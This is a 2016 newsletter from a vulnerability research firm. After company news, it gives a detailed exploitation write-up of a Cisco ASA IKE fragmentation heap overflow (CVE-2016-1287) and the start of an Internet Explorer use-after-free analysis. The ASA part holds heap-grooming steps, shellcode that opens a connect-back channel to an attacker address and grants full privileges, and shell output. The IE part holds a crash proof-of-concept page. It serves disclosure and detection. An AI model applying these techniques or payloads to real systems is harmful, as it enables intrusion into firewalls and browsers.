Exodus Intelligence April 2016 newsletter

Threat intelligence

Resolution to zero-day debate not in cards for foreseeable future

Logan Brown and Ted Ross weigh in with ThreatPost
ThreatPost, April 22 2016 | Was the Federal Bureau of Investigation justified in paying over $1.3 million for a hacking tool that opened the iPhone 5c of the San Bernardino shooter? For some in the security community, the answer is a resounding yes. For others, the answer is not so clear-cut.

Ted Ross, CEO of Exodus Intelligence, which has its own vulnerability purchasing program, is in favor of the FBI’s reliance on zero-day community. He said it’s unrealistic to think that the US government alone can solve cyber security issues. “A solution (in cases like this) will only work with good collaboration between government and industry,” Ross said.

“I would actually think this is much more cost efficient to purchase the capability rather than it would be to hire, train and retain the talent capable of such research,” said Logan Brown, president of Exodus Intelligence. “There is a very finite amount of people in the world that can do this research. Recruiting, paying, and retaining these elite few is no easy or cheap task.”

See more at: Experts Weigh-In Over FBI $1.3 Million iPhone Zero-Day Payout.

FSISAC

May 1-4, Exodus Intelligence will be in attendance at the 2016 FS-ISAC Annual Summit. One of the FS-ISAC’s major conferences, attendees are comprised of various security technology companies, DHS (as well as other government agencies), and of course, many financial institutions. This is a major industry forum for collaboration on critical security threats facing the global financial sector. The FS-ISAC is known to be the most influential ISAC group, with multiple other ISACs replicating their direction.

Exodus Intelligence will be pleased to meet with customers in attendance at this event. Please email teddy.stevens@exodusintel.com if you are attending the event and would like to meet.

ncia

On May 17, Exodus representatives will be in London to attend the 2nd NATO – Industry Threat Vector Analysis Workshop. Several themes will be discussed, such as:

  • NATO and industry views of current and emerging threats
  • Making the Threat Intelligence data actionable
  • Practical outcomes

We look forward to discussions regarding the expanding threat landscape with NATO and UK Government officials.

 

New capabilities

Exodus partners with Cisco
Exodus now has a formal joint research relationship with Cisco. As a result, we have the ability to sell and distribute SNORT signatures (which have been thoroughly tested) for our 0-day and N-day vulnerabilities.

Snort’s open source network-based intrusion detection system (NIDS) has the ability to perform real-time traffic analysis and packet logging on Internet Protocol (IP) networks. Snort performs protocol analysis, content searching and matching. These basic services have many purposes including application-aware triggered quality of service. This feature coupled with Exodus 0-day/N-day signatures will allow customers to slow down attack traffic without alerting the attacker (rate-limit to not allow large file transfers), which buys time for take-down operations.

The program can also be used to detect probes or attacks, including, but not limited to, operating system fingerprinting attempts, common gateway interface, buffer overflows, server message block probes, and stealth port scans.

Snort can be configured in three main modes: sniffer, packet logger, and network intrusion detection. In sniffer mode, the program will read network packets and display them on the console. In packet logger mode, the program will log packets to the disk. In intrusion detection mode, the program will monitor network traffic and analyze it against a rule set defined by the user. The program will then perform a specific action based on what has been identified. Applying 0-day/N-day signatures to these three modes allows for detection and remediation of advance threats.

The beautiful thing about SNORT, is that most defense/detection products can consume SNORT signatures in some manner. The Exodus 0-Day and N-Day vulnerabilities are now easily made actionable through the use of these signatures.


Machine-to-machine connections
Exodus is proud to announce that we have implemented new data and delivery mechanisms for machine-machine connections. We are now able to share Exodus metadata to various threat intelligence platforms using STIX, CybOX and TAXII in addition to our API.

We chose to embrace STIX/TAXII due to the direction of DHS and the industry at large. From the US-CERT website: “The DHS Office of Cybersecurity and Communications, National Cybersecurity and Communications Integration Center, and US-CERT are leading efforts to automate and structure operational cybersecurity information sharing techniques across the globe:

  • TAXII™, the Trusted Automated eXchange of Indicator Information
  • STIX™, the Structured Threat Information eXpression
  • CybOX™, the Cyber Observable eXpression

International in scope and free for public use, TAXII, STIX and CybOX are community-driven technical specifications designed to enable automated information sharing for cybersecurity situational awareness, real-time network defense and sophisticated threat analysis.”

For more details, please visit:
https://www.us-cert.gov/Information-Sharing-Specifications-Cybersecurity


CPE identifiers and CVSS scores

Along with the new Exodus metadata, we are now able to provide CPE (Common Platform Enumeration) identifiers and CVSS scores. This allows our customers to understand when new Exodus vulnerabilities could impact their specific applications (through the use of a threat intelligence platform) making both the 0-day and N-day vulnerabilities relevant to our customer’s environments.

New hires

Joel Bagnal: Government Security Consultant
Over the past seven years, Joel has served in cybersecurity leadership roles with Extenix LLC, Detica Inc., BAE Systems and L-3 Communications. Previously, Joel served as the Deputy Assistant to the President of the United States for Homeland Security and Counterterrorism, holding key roles as chair of the Homeland Security Council Deputies Committee and co-chair of the Counterterrorism Security Group. During his tenure, Joel developed the National Strategy for Homeland Security and Presidential Directives on cybersecurity, continuity of government, incident management, public health and medical preparedness, information sharing, and emergency preparedness planning. Additional roles include the Special Assistant to the President for Homeland Security, Senior Director for Threat Countermeasures Incident Management and Emergency Preparedness, and Chief of Staff and Executive Secretary of the Homeland Security Council. He also served as the Special Assistant to the President and Senior Director for Domestic Counterterrorism where he held a key role as the principal advisor to the Assistant to the President for Homeland Security for all matters pertaining to prevention of terrorism against the United States homeland. Moreover, Joel coordinated national response actions to terrorist threats and incidents that impacted homeland security including adjustments to the National Threat Level.

Mario Pirker: Security Researcher
Mario comes from a mixed background of both security and software engineering. At Barracuda Networks, he focused on a range of Linux Kernel mode development, as well as vulnerability assessment and reverse engineering. His primary areas of research center on vulnerability discovery and exploitation. We are excited to have Mario on the Exodus N-Day team!

Terry Smith: VP of Business Development
Terry Smith joined the company on April 18th to help build the technology alliances and partnership program. Terry recently left IBM as the dedicated Big Data and Analytics account executive for the HP account.  Prior to IBM, Terry held business development and sales leadership roles with Fortify Software, VeriSign, iDEFENSE and McAfee. He brings over 18 years experience in technology sales, strategic alliances and business development to the Exodus team. In his spare time, he likes to play golf, travel and spend time with his wife and daughter.

 

Exodus is currently accepting applications for Zero-day and N-day researchers as well as qualified candidates for our Spring 2016 Internship program hosted at our Headquarters in Austin, Texas.

 

Execute My Packet

Contributors

David Barksdale, Jordan Gruskovnjak, and Alex Wheeler

1. Background

Cisco has issued a fix to address CVE-2016-1287. The Cisco ASA Adaptive Security Appliance is an IP router that acts as an application-aware firewall, network antivirus, intrusion prevention system, and virtual private network (VPN) server. It is advertised as “the industry’s most deployed stateful firewall.” When deployed as a VPN, the device is accessible from the Internet and provides access to a company’s internal networks.

2. Summary

The algorithm for re-assembling IKE payloads fragmented with the Cisco fragmentation protocol contains a bounds-checking flaw that allows a heap buffer to be overflowed with attacker-controlled data. A sequence of payloads with carefully chosen parameters causes a buffer of insufficient size to be allocated in the heap which is then overflowed when fragment payloads are copied into the buffer. Attackers can use this vulnerability to execute arbitrary code on affected devices. This flaw affects IKE versions 1 and 2, but this post will focus on specifics related to version 2.

Background on Cisco’s IKE Fragmentation Implementation

The Cisco IKE fragmentation protocol splits large IKE payloads into fragments, each with the header illustrated in Figure 1.

Cisco IKE fragment

Figure 1: Cisco IKE fragment header

Each fragment is sent to the recipient as an IKE packet with a payload of type 132. When a payload is fragmented a fragment ID is chosen larger than any previous ID to identify the fragment’s reassembly queue. For any reassembly queue all the fragments are the same length, except for possibly the last fragment. Each fragment is assigned a sequence number starting with 1. The last fragment is identified by a value of 1 in the last fragment field. The next payload field contains the payload type that was fragmented.

3. Vulnerability

Each fragment triggers processing by two key functions: ikev2_add_rcv_frag() and ikev2_reassemble_pkt(). The first parses the fragment and maintains fragment reassembly queues. The second checks the queues and performs reassembly when all the fragments have arrived. The second function is called after each fragment is received and only acts when the number of fragments in the reassembly queue matches the sequence number of the fragment with the last fragment flag set.

Below is a snippet of code from ikev2_add_rcv_frag() showing the length check and the calculation for updating the reassembly queue length.

ikev2_add_rcv_frag() - lina version 9.2.4

Figure 2: ikev2_add_rcv_frag() from lina version 9.2.4

While the Cisco fragment length field is 16 bits, Cisco limits queues to of half that size. The check in the code above is performed before a fragment is queued. The following are important items to note for this code snippet.

  • The bounds calculation involves a signed check for a maximum value, but no minimum value.
  • The fragment is assumed to be at least as large as the fragment header, 8 bytes.
  • The total length of the queue only accounts for the payload size, i.e., the header length is subtracted from each fragment before updating the queue’s size for reassembly.

An understanding of the above issues is useful when examining the reassembly for the fragments. The code for reassembly is large, but a relevant snippet from ikev2_reassemble_pkt() is illustrated in Figure 3 for discussion.

ikev2_reassemble_pkt() from lina 9.2.4

Figure 3: ikev2_reassemble_pkt() from lina 9.2.4

The call to my_malloc() is passed the queue length plus a header size. There are several ways to attack this code. The most basic way to attack this code is to create a reassembly queue where one of the fragments has a length less than the default fragment header size of 8 bytes, which underflows the copy length during reassembly. This small value allows the length check (signed) in ikev2_add_rcv_frag() to be passed and the copy length to be larger (underflowed) than the allocated buffer size of: reassembly queue length + 8 in ikev2_reassemble_pkt().

4. Exploitation

After having successfully crafted fragments with length less than 8, the corruption happens during the fragments reassembly. However, the corruption cannot be used as-is beyond a DoS due to the negative copy (access violation). Several steps are discussed below to use the vulnerability to obtain remote code execution.

Crafting Small Fragments

Crafting small fragments (length < 8) can be accomplished by padding the fragment with valid information past where the fragment should end.  For example, even though a fragment of length 1 should not have a size or sequence number, these fields still need valid values. Other fields that are not checked can be padded with random values.

Avoiding the Negative Copy

In order to get remote code execution the negative copy should be avoided. In the interest of brevity we’ll explain the logic and exploitation of it without including the relevant disassembly. Fragments are queued by fragment ID and reassembled using sequence number. All fragments other than the last fragment should have the same size. The following pieces of program logic can be abused to send a sequence of fragments to avoid the negative copy.

  1. When processing a fragment with a fragment ID different than the previous ones, the previous ones are cleared from the reassembly queue and the new one is added, but the previous fragment size is not cleared (reinitialization flaw);
  2. Fragments with a sequence number of 0 can be added to reassembly queues without having their payloads processed, because the reassembly starts with sequence number 1, but their sizes are still included in the total reassembly size calculation (logic flaw);
  3. Multiple fragments with the last fragment bit can be added to a reassembly queue by using the check for sequence number 0 (logic flaw); and
  4. Fragments with sequence numbers after a gap in the sequence numbers will not have their payloads processed, but their sizes are still included in the total reassembly size calculation (input validation flaw).

Given the above, the following sequence of fragments can be sent to avoid the negative copy.

  • Fragment with ID Y, last fragment bit not set, and size N is sent to set the previous size even though this fragment will be cleared from the queue
  • Fragment with ID Z, sequence number 0, size 1, and last fragment bit set is sent to clear previous fragment
  • Fragment with ID Z, sequence number 3, size 1, and last fragment bit set
  • Fragment with ID Z, sequence number 1, size N, and the last fragment bit clear is sent

The above sequence yields the reassembly queue where fragments with sequence numbers 0 and 3 are not reassembled, but each result in -7 being added to the reassembly queue length. Fragment with sequence number 1 is the only one that will be reassembled and N – 8 bytes will be copied from the payload, thus avoiding the negative copy.

Cisco Heap Layout

Some insight of the Cisco heap layout is needed in order to decide what can be achieved with the current memory corruption. The Cisco ASA heap is based on a Doug Lea malloc() implementation. The Cisco heap appends a header and a footer to the classic dlmalloc chunk. The headers and footers add extra information for memory integrity and debugging/troubleshooting purposes. An allocated chunk layout is described below.

(gdb) x/70wx 0xccedf970 – 0x28
0xccedf948: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d0
0xccedf958: 0x00000000 0x00000000 0xccedf818 0xccedfa88
0xccedf968: 0x0875ba64 0xe10deaf4 0x41414141 0x41414141
0xccedf978: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141
…snip…
0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa38: 0x41414141 0x41414141 0xa11ccdef 0xb2ea5e5b

The first 0x28 bytes (in green) are part of the heap header, the 2 last dwords (in blue) belong to the heap footer. The relevant header’s fields from an exploitation perspective are:

  • offset 0x00: Header magic
  • offset 0x04: Size to next block + 3 bits extra information (bit 1: previous block in use / bit 2: Current block in use)
  • offset 0x08: 2nd header magic
  • offset 0x0c: Size of chunk data
  • offset 0x18: “prev” pointer to linked list of allocated chunk of the same size
  • offset 0x1C: “next” pointer to linked list of allocated chunk of the same size

A freed chunk layout is as follows:

(gdb) x/70wx 0xccedf970 – 0x28
0xccedf948: 0xe100d4d0 0x00000101 0xccedf948 0xccedf948
0xccedf958: 0x00000000 0x00000000 0xc8000134 0x00000000
0xccedf968: 0xf3ee0123 0x0877e5bf 0x41414141 0x41414141
0xccedf978: 0x41414141 0x41414141 0x41414141 0x41414141
…snip…
0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa38: 0x41414141 0x41414141 0x5ee33210 0xf3eecdef

Similarly, a freed chunk layout is described below.

  • offset 0x00: Header magic
  • offset 0x04: Size to next block + 3 bits extra information (bit 1: previous block in use / bit 2: Current block in use)
  • offset 0x08: “prev” pointer to linked list of freed chunks of the same size
  • offset 0x0C: “next” pointer to linked list of freed chunks of the same size
  • offset 0x18: “prev” pointer to linked list of allocated chunk of the same size
  • offset 0x1C: “next” pointer to linked list of allocated chunk of the same size

The vulnerable block of size 0xd3 (size used for our exploit, which will make sense later in this post) allocated in the ikev2_get_assembled_pkt() looks as follows:

(gdb) x/70wx 0xcbf3d1a8 – 0x28
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4
0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141
0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
…snip…
0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd

With the Cisco layout in mind, let’s look at what is located behind the vulnerable chunk:

(gdb) x/70wx 0xcbf3d1a8 – 0x28
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4
0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141
0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
…snip…
0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd
0xcbf3d280: 0xe100d4d0 0x00000031 // adjacent chunk header’s first two dwords.

The first dword of the vulnerable chunk’s data (in red) is reserved for the total size (0xcb) of the fragment data being copied. The last 2 dwords are respectively the header magic and the chunk size of the adjacent 0x30 bytes freed chunk. With a copy of 0xd3 bytes, the fields in red will be corrupted:

(gdb) x/70wx 0xcbf3d1a8 – 0x28
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4
0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141
0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
…snip…
0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd
0xcbf3d280: 0xe100d4d0 0x00000031

In the end, the magic from the next chunk’s heap header is corrupted, and eventually 1 byte of the next chunk size field can be corrupted. This means that given a correctly crafted heap layout, it is possible to insert a chunk into a freelist reserved for bigger chunks. The attacker can then claim this chunk with another packet and completely corrupt memory overlapped by the fake bigger chunk as will be explained below.

Crafting the Heap

In order to be able to achieve interesting things, the attacker has to set the heap in a predictable layout. For that, the ikev2_parse_config_payload() function has been used. This function is reached when IKEv2 packets are sent with a Configuration Payload (type 47). The layout of these packets is illustrated in Figure 4.

ike config payload

Figure 4: IKEv2 config payload packet

The IKE v2 Configuration Payload field descriptions are as follows:

  • CFG Type (1 octet) – The type of exchange represented by the Configuration Attributes.
  • RESERVED (3 octets)
  • Configuration Attributes (variable length)

The Configuration Attributes field is of variable length and allows specifying multiple attributes. The Configuration Attributes are illustrated in Figure 5.

IKEv2 Configuration Attributes

Figure 5: IKEv2 Configuration Attributes

The IKEv2 Configuration Attributes field descriptions are as follows:

  • Reserved (1 bit) ⋄ Attribute Type (15 bits) – A unique identifier for each of the Configuration Attribute Types.
  • Length (2 octets) – Length in octets of value.
  • Value (0 or more octets) – The variable-length value of this Configuration Attribute

This will allow the attacker to allocate chunks of arbitrary size with controlled content as after analysing ikev2_parse_config_payload() in Figure 6.

Figure 6: ikev2_parse_config_payload()

Figure 6: ikev2_parse_config_payload() lina 9.2.4

This controlled allocation will allow de-fragmenting the heap and achieving the following heap layout below:

Figure 7:

A Configuration Attributes List packet is sent to the router in order to de-fragment the heap, and get further allocations to be contiguous to one another. A fragment of size 0x100 bytes is then sent. Each time the IKEv2 daemon receives a packet it will allocate 0x100 bytes to handle the packet data. This means that a 0x100 bytes chunk will be allocated as below:

Figure 8:

The fragment of 0x100 bytes will then be allocated next to it:

3

After the packet is processed, the first 0x100 byte block is freed since its of not in use any longer, leaving a hole between the de-fragmented heap and the 0x100 bytes attacker fragment:

4

The last fragment of size -7 (with effective size being 0x108 bytes) triggering the overflow is then sent. A 0x100 bytes chunk is allocated to handle the packet, retrieving the 0x100 bytes chunk that has been previously freed:

5

Since the actual packet data is bigger than 0x100, a chunk of size 0x300 is allocated in order to contain all the UDP fragment data, ending freeing the previously allocated 0x100 bytes chunk. The heap then looks as follows:

6

A 0x100 bytes hole is then located right before the attacker controlled fragment. ikev2_get_assembled_pkt() will then allocate the vulnerable chunk of 0xd3 size. A chunk of size 0xd0 (because some footer data are used to contain the extra 3 bytes) is returned. Since the heap is de-fragmented, no free chunk is available to handle the request. The 0x100 bytes free block is then split into two block of 0xd0 and 0x30, giving the following heap layout:

7

The vulnerable my_memcpy() call is then reached and ends up corrupting the “size” field of the adjacent 0x30 bytes free chunk. Arbitrary adjacent chunk “size” field corruption has been achieved.

The corrupted freed 0x30 bytes chunk of the previous sections now looks as follows:

0xcbf3d280: 0xe100d4d0 0x00000061 0xc9109b08 0xc800005c
0xcbf3d290: 0xf3ee0123 0x00000000 0x00000000 0x00000000
0xcbf3d2a0: 0x00000000 0x00000000 0x5ee33210 0xf3eecdef

Note the size field (red) is now 0x61 instead of 0x31. The heap manager will now look for the next chunk, not 0x30 bytes further, but 0x60 bytes (0x61 means 0x60 byte size + previous chunk in use bit set), ending up looking into the attacker’s fragment data. Since the fragment’s data is controlled, a fake heap chunk can be crafted. The 0x60 bytes freed chunk now encompasses a part of the attacker’s fragment chunk’s heap header. The fake heap metadata of the next chunk, just shrinks the size of the fragment to 0x100 bytes to conserve the heap integrity and allow the heap manager to locate the chunk adjacent to the fragment. The heap will then look as follows:

(gdb) x/100wx 0xcbf3d1a8 – 0x28
// Vulnerable chunk
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xc8000134 0x00000000
0xcbf3d1a0: 0xf3ee0123 0x0877cbcb 0x000000cb 0x41414141
…snip…
0xcbf3d270: 0x41414141 0x41414141 0x10000000 0x005ee332
// 0x60 bytes fake chunk
0xcbf3d280: 0xe100d4d0 0x00000061 0xc9109b08 0xc800005c
0xcbf3d290: 0xf3ee0123 0x00000000 0x00000000 0x00000000
0xcbf3d2a0: 0x00000000 0x00000000 0x5ee33210 0xf3eecdef
0xcbf3d2b0: 0x00000030 0x00000132 0xa11c0123 0x00000100
0xcbf3d2c0: 0x00000000 0x00000000 0xcbf3d088 0xc80005e4
0xcbf3d2d0: 0x08768ca9 0x41414141 0x00010000 0xf3eecdef
// Fake header in attacker’s fragment’s data
0xcbf3d2e0: 0x00000160 0x00000102 0xa11c0123 0x000000e0
0xcbf3d2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d300: 0x41414141 0x41414141 0x41414141 0x41414141

The copy loop in  ikev2_get_assembled_pkt() is exited due to not finding fragment sequence number 2 and the vulnerable 0xd0 sized heap chunk is freed later in the same function. The allocator will look for freed chunks before and after the vulnerable chunk in order to perform forward and backward coalescing. If the “size” field of the 0x30 bytes chunk wasn’t tampered with, the allocator would have backward coalesced the 0xd0 chunk with the 0x30 bytes chunk leading to the insertion of a 0x100 bytes chunk into the freelist. However since the “size” field is set to 0x60 bytes, a fake chunk of 0x130 bytes will be inserted into the freelist. The fake 0x130 bytes chunk will encompass the beginning of the adjacent 0x100 bytes block controlled by the attacker.

Getting Control

The attacker can now reallocate this block by sending a Configuration Attributes List packet with a bunch of Configuration Attributes of size 0x130. The 0x130 byte chunk will eventually be retrieved, corrupting the header of the attacker’s 0x100 bytes fragment chunk. As explained in the Cisco Heap Layout section, the heap header contains prev and next pointers of previous and next free chunk, whose integrity is not enforced because of the lack of safe-unlinking code. This means that an arbitrary write4 primitive can be achieved during the coalescing of the corrupted chunk. This write4 primitive will be triggered by the attacker at any time by sending a fragment with a different size. When this happens, ikev2_add_rcv_frag() is entered and proceeds to free fragments in the linked list. The corrupted fragment will eventually be freed, triggering the write4 memory corruption. One prerequisite for the write4 technique to work is that both prev and next pointers points to writeable data. This means it is not possible to overwrite a function pointers with an address to some .text section to bootstrap a ROP chain. Fortunately the whole memory is executable and there is no ASLR.

The targeted function pointer is the pointer used to add a fragment to the linked list, which will be called right after the write4 corruption to add the new fragment in the linked list inside ikev2_add_rcv_frag(). The execution flow can then be redirected to an arbitrary writable address in memory. The problem here is the lack of knowledge of the location of attacker’s controlled data at a specific address. To get around this problem, a 2nd write4 corruption will be used during the vulnerable chunk liberation. This is done by targeting other linked list pointers present in the heap header, which are used to keep track of allocated blocks of the same size. The 2nd write4 corruption will be used to craft a fake ROP gadget in memory. The following values were chosen as prev and next pointers for the 2nd write4 corruption: 0xc8002000 and 0xc821ff90 This means that during the 2nd write4 corruption the value 0xc821ff90 will be copied at address 0xc8002000. This address will eventually translate into useful bytecode (nop; jmp dword ptr[ecx]).

The attacker now has a gadget at a known location in writeable memory. The pointers used in the 1st write4 corruption are then set so as to overwrite the targeted function pointer with the address 0xc8002000 containing the ROP gadget. When the control flow is redirected, the program will land at address 0xc8002000 and execute the jmp [ecx] instruction. As can be seen in code snippet above, the ECX register holds a pointer to the newly allocated fragment containing data controlled by the attacker. Arbitrary code execution has been achieved.

Cleanup

Since the Cisco router reboots if the lina process crashes, the heap has to be fixed in order to be able to get a reverse shell back to the attacker. In order to fix the memory, pointers from the context object located in a local stack variable, pointing to the option list linked list, are followed. By following the next pointer of the linked list and checking some values, it is possible to locate the 0x130 byte chunk used to perform the memory corruption. When it’s located its header is set to 0xd0 and the adjacent 0x60 size field is set back to 0x30 bytes. The following is our process continuation shellcode.

0xccc54fc1: mov DWORD PTR [edx],0x9b96790 ; fix corrupted function pointer
0xccc54fc7: mov eax,DWORD PTR [ebp-0x8] ; retrieve structure in stack
0xccc54fca: mov eax,DWORD PTR [eax+0x5c]
0xccc54fcd: mov eax,DWORD PTR [eax+0x4]
0xccc54fd0: mov eax,DWORD PTR [eax+0x8]
0xccc54fd3: mov eax,DWORD PTR [eax+0x4]
0xccc54fd6: mov eax,DWORD PTR [eax] ; go to the “next” linked list element
0xccc54fd8: test eax,eax
0xccc54fda: je 0xccc55017
0xccc54fdc: push eax
0xccc54fdd: mov eax,DWORD PTR [eax+0x8] ; follow some more pointers
0xccc54fe0: mov eax,DWORD PTR [eax+0x4]
0xccc54fe3: lea ebx,[eax+0xd8] ; set ebx to the beginning of the corrupted chunk
0xccc54fe9: pop eax
0xccc54fea: cmp DWORD PTR [ebx],0xe100d4d0 ; ensure we are have the right chunk
0xccc54ff0: jne 0xccc54fd6
0xccc54ff2: cmp DWORD PTR [ebx+0x4],0x31 ; Another check
0xccc54ff6: je 0xccc54fd6
0xccc54ff8: mov eax,ebx
0xccc54ffa: sub eax,0x100 ; Point eax to the beginning of the vulnerable chunk
0xccc54fff: mov DWORD PTR [eax+0x4],0x103 ; Fix heap metadata
0xccc55006: mov DWORD PTR [eax+0xc],0xd0
0xccc5500d: mov DWORD PTR [eax+0xf8],0xa11ccdef

The shellcode fixes the corrupted pointer used to take control of the execution flow. Then it retrieves a local variable which holds pointers to the linked list of Configuration Attributes. By following the linked list and enforcing specific values, the shellcode is able to locate the corrupted chunk in memory, and fix its heap metadata to prevent the process from crashing when the chunk is later freed. Then the real payload is executed which will be addressed in the next section.

Cisco ASA Shellcode

It’s necessary to use several functions of the lina binary to get a reverse shell or Cisco CLI. It is not possible to use a classic connect-back shellcode because the only network device available is the tap device. The lina binary is responsible for the handling of TCP, UDP, e.g connections, acting as a kind of user-land network driver. Cisco uses the “channel” terminology to handle network connections. Since the shellcodes are too big for this post only the general behaviour will be explained here.

Since the IKEv2 Daemon is actually a thread of the lina process, the shellcode starts by spawning a new thread for the Cisco CLI by calling process_create() and allows the IKEv2 daemon to continue to do its job. Then the daemon allocates a TCP channel connecting back to the attacker’s IP address/port by calling alloc_ch():

push eax ; Points to string “tcp/CONNECT/3/1.2.3.4/4444”
mov eax, 0x80707f0 ; call alloc_ch()
call eax

The shellcode then sets the channel as responsible for the I/O on stdin/stdout/stderr:

; Set channel as in/out channel for ci/console
mov esi, 0xffffefc8
mov eax, dword ptr gs:[esi]
mov dword ptr [eax + 0x98], ebx ; Points to allocated channel

Then, a structure responsible for the user privileges is allocated, and its privileges are set to 15 (maximum cisco privileges):

mov eax, 0x080F0A80 ; Initialize privileges structure given as parameter
call eax

; Retrieve struct
pop ebx

; Give me full privileges and a cool ‘#’ prompt
mov dword ptr [ebx + 0xc], 0x17ffffff ; Give full privileges
add ebx, 0x14

; Set “enable_15” username
mov dword ptr [ebx], 0x62616e65
mov dword ptr [ebx + 4], 0x315f656c
mov dword ptr [ebx + 0x8], 0x00000035

Finally the shellcode proceeds to call the ci_cons_shell() in order to spawn the Cisco CLI back to the attacker’s computer:

push 0x4
push 0x0a52c160 ; some function
mov eax, 0x080F6820 ; ci_cons_shell
call eax

Which gives the following result:

Type help or ‘?’ for a list of available commands.
ciscoasa# show running-config enable
show running-config enable
enable password 8Ry2YjIyt7RRXU24 encrypted
ciscoasa#

The reverse shell is trickier to get and ironically probably not as useful as the Cisco CLI. It then enables a hidden SOCKSv5 proxy in the lina process, by calling a function which has been dubbed start_loopback_proxy(). It is now possible to use classic sockets by connecting to the local SOCKSv5 and telling it to connect-back to the attacker computer. Since the SOCKSv5 protocol is not really complicated this is easily done in assembly. The shellcode then proceeds as a classic connect-back shellcode, by dup2()ing the socket with stdin/stdout/stderr and execve()ing “/bin/sh”:

/bin/sh: can’t access tty; job control turned off
# id
uid=0(root) gid=0(root)

5. Detection

Looking for the value of the length field of a Fragment Payload (type 132) IKEv2 or IKEv1 packet allows detecting an exploitation attempt. Any length field with a value < 8 must be considered as an attempt to exploit the vulnerability. The detection also has to deal with the fact that the multiple payloads can be chained inside an IKEv2 packet, and that the Fragment Payload may not be the only/first payload of the packet.

 

 

A browser is only as strong as its weakest byte

Back in September, FireEye posted a blog entry discussing CVE-2013-3147, a vulnerability in Microsoft Internet Explorer. They pointed out that Microsoft patched the issue on July 9th in Bulletin MS13-055. While reading their post it dawned on me that I had discovered a similar issue as far back as January this year. The usage of the onbeforeeditfocus event was what caught my attention, and upon installing the aforementioned patch from Microsoft, I confirmed that they silently fixed my bug, too. As we at Exodus had been shipping an exploit to our customers for this issue since January, we figured an adequate amount has time has passed and we can now share some details here on our blog.

The vulnerability we discovered was also an use-after-free vulnerability (as is often the case with browser issues) that involved event handlers and some other miscellaneous Javascript constructs. The exploit I wrote bypassed ASLR through a forced memory disclosure and Data Execution Prevention through the usual ROP chain trickery. The actual exploit is non-trivial, so bear with me with me and expect some minimal shortcuts to be taken in the following explanation.

The Crash

First of all, lets dump a poc that causes the crash:

<!doctype html>
<HTML>
  <head>
    <script>
      function setinput() {
        try { document.write('Timber'); } catch(e) {}
      }
      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

If you open this file in Internet Explorer 9 (from a website, not as a local file) you might get a crash that looks like this:

This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00000010 edx=0000006a esi=00000000 edi=00000000
eip=71e0e0d0 esp=0327cb8c ebp=0327cb98 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!CHTMLEditor::FireOnSelectionChange+0xb:
71e0e0d0 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000010=????????
1:019> ub
MSHTML!CSelectionManager::EndSelectionChange+0x8e:
71e0e0c4 90              nop
MSHTML!CHTMLEditor::FireOnSelectionChange:
71e0e0c5 8bff            mov     edi,edi
71e0e0c7 55              push    ebp
71e0e0c8 8bec            mov     ebp,esp
71e0e0ca 51              push    ecx
71e0e0cb 51              push    ecx
71e0e0cc 53              push    ebx
71e0e0cd 8d4f10          lea     ecx,[edi+10h]

This might look like it is a NULL-pointer dereference: edi == NULL; ecx gets set to edi + 0x10; and then ecx is dereferenced. Since, as far as I know, NULL pointer dereference vulnerabilities are not exploitable in Internet Explorer this does not look useful. But this is not the actual crash, and to see where things first go wrong we simply turn on pageheap and user mode stack trace database for iexplore.exe.

gflags.exe /i iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

Running the poc again gives us the following information:

(87c.fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=0e62afd8 ecx=7746389a edx=02bb10d0 esi=ffffffff edi=0ed3af38
eip=71e43f37 esp=08c9caa0 ebp=08c9cab8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e43f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:0ed3af70=????????

1:019> lmi vm mshtml
    File version:     9.0.8112.16446

1:021> k
ChildEBP RetAddr
08c9cab8 71e43ed1 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52
08c9cacc 71e43e85 MSHTML!CSelectionManager::ShouldElementShowUIActiveBorder+0x2e
08c9cae4 71e4308f MSHTML!CSelectionManager::SetEditContext+0xdf
08c9cb50 71cce2fd MSHTML!CSelectionManager::SetEditContextFromElement+0x34e
